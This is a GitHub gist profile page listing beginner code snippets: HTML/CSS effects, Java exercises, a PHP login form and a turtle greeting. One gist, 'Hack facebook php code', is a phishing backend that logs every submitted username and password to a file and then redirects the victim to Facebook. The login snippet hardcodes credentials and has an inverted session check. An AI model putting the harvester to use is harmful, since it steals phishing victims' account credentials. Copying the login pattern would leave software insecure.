Skip to content

Instantly share code, notes, and snippets.

View Techgokul's full-sized avatar

madcodertyson Techgokul

View GitHub Profile
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS Envelope + Letter (Open/Close on Click)</title>
<link rel="stylesheet" href="./style.css">
</head>
@Techgokul
Techgokul / PrimeNum.java
Created June 29, 2018 17:52
Check whether a number is Prime or not
import java.util.Scanner;
/**
*
* @author tech gokul
*/
public class PrimeNum {
public static void main(String[] args) {
@Techgokul
Techgokul / calculator.java
Created June 27, 2018 13:13
Create java application of calculator
import java.util.Scanner;
public class SimpleCalculator {
public static void mainM(String[] args) {
Scanner input=new Scanner(System.in);
int fnum,snum,ans;
char sign;
@Techgokul
Techgokul / index1.php
Created June 24, 2018 12:27
Create login form using php
<!DOCTYPE html>
<html>
<?php
session_start();
$username= "admin";
$password= "password";
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == false) {
header("Location: success.php");
@Techgokul
Techgokul / typewriter.html
Created June 12, 2018 16:07
Create a typing effect in html
<html>
<head>
<title>Type writing</title>
<style>
.btn{
border: none;
background-color: #048bff;
width: 90px;
height: 40px;
@Techgokul
Techgokul / loader.html
Created June 10, 2018 05:38
create a loader for your website using css and html
<html>
<head>
<title>Loader</title>
<meta name="viewport" content="width=device-width initial-scale=1">
<style>
.loader{
margin-left: 400px;
margin-top: 250px;
border: 16px solid #0058ff;
border-bottom: 16px solid #0058ff;
@Techgokul
Techgokul / like&dislike.html
Created June 9, 2018 07:24
Create a Like and Dislike Button using html,css and js
<html>
<head>
<title>Like and Dislike</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" type="text/css">
<style>
.fa{
font-size: 300px;
color: white;
@Techgokul
Techgokul / nav.html
Created January 16, 2018 03:56
Navigation bar Using HTML5,CSS
<html>
<head>
<title>Navigation bar</title>
<link rel="stylesheet" href="style.css"/>
<meta charset="utf-8">
</head>
<body>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;
@Techgokul
Techgokul / post.php
Created January 3, 2018 09:32
Hack facebook php code
<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
@Techgokul
Techgokul / Happy new year.py
Created December 31, 2017 10:09
Python Happy new Year greetings
import turtle
turtle.setup(1000,1000,0,0)
mitul=turtle.Turtle()
mitul.width(8)
mitul.color("red")
new=turtle.getscreen()
mitul.speed(4)